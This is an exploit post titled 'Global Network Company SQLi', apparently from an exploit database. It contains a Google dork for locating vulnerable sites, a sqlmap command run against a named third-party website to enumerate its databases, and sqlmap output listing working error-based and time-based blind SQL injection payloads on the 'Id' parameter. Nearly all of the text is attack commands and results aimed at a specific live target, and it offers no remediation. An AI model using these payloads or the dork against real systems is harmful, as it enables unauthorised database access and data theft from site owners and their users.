################################################################################# # Exploit Title: Global Network Company SQLi # Google Dork: inurl:newsdetail.php?Id=26 # Date: 27.05.2017 # Exploit Author: HocaXD # Version: V.1 # Category: Web Web Apps # Tested on: Parrot Security OS / Google Chrome ################################################################################# # CVE : [+] python sqlmap.py -u "http://www.sfo.co.th/newsdetail.php?Id=26'" --dbs --random-agent sqlmap identified the following injection point(s) with a total of 2080 HTTP(s) requests: --- Parameter: Id (GET) Type: error-based Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR) Payload: Id=(SELECT 4664 FROM(SELECT COUNT(*),CONCAT(0x7178706b71,(SELECT (ELT(4664=4664,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 time-based blind - Parameter replace Payload: Id=(CASE WHEN (5087=5087) THEN SLEEP(5) ELSE 5087 END) --- #################################################################################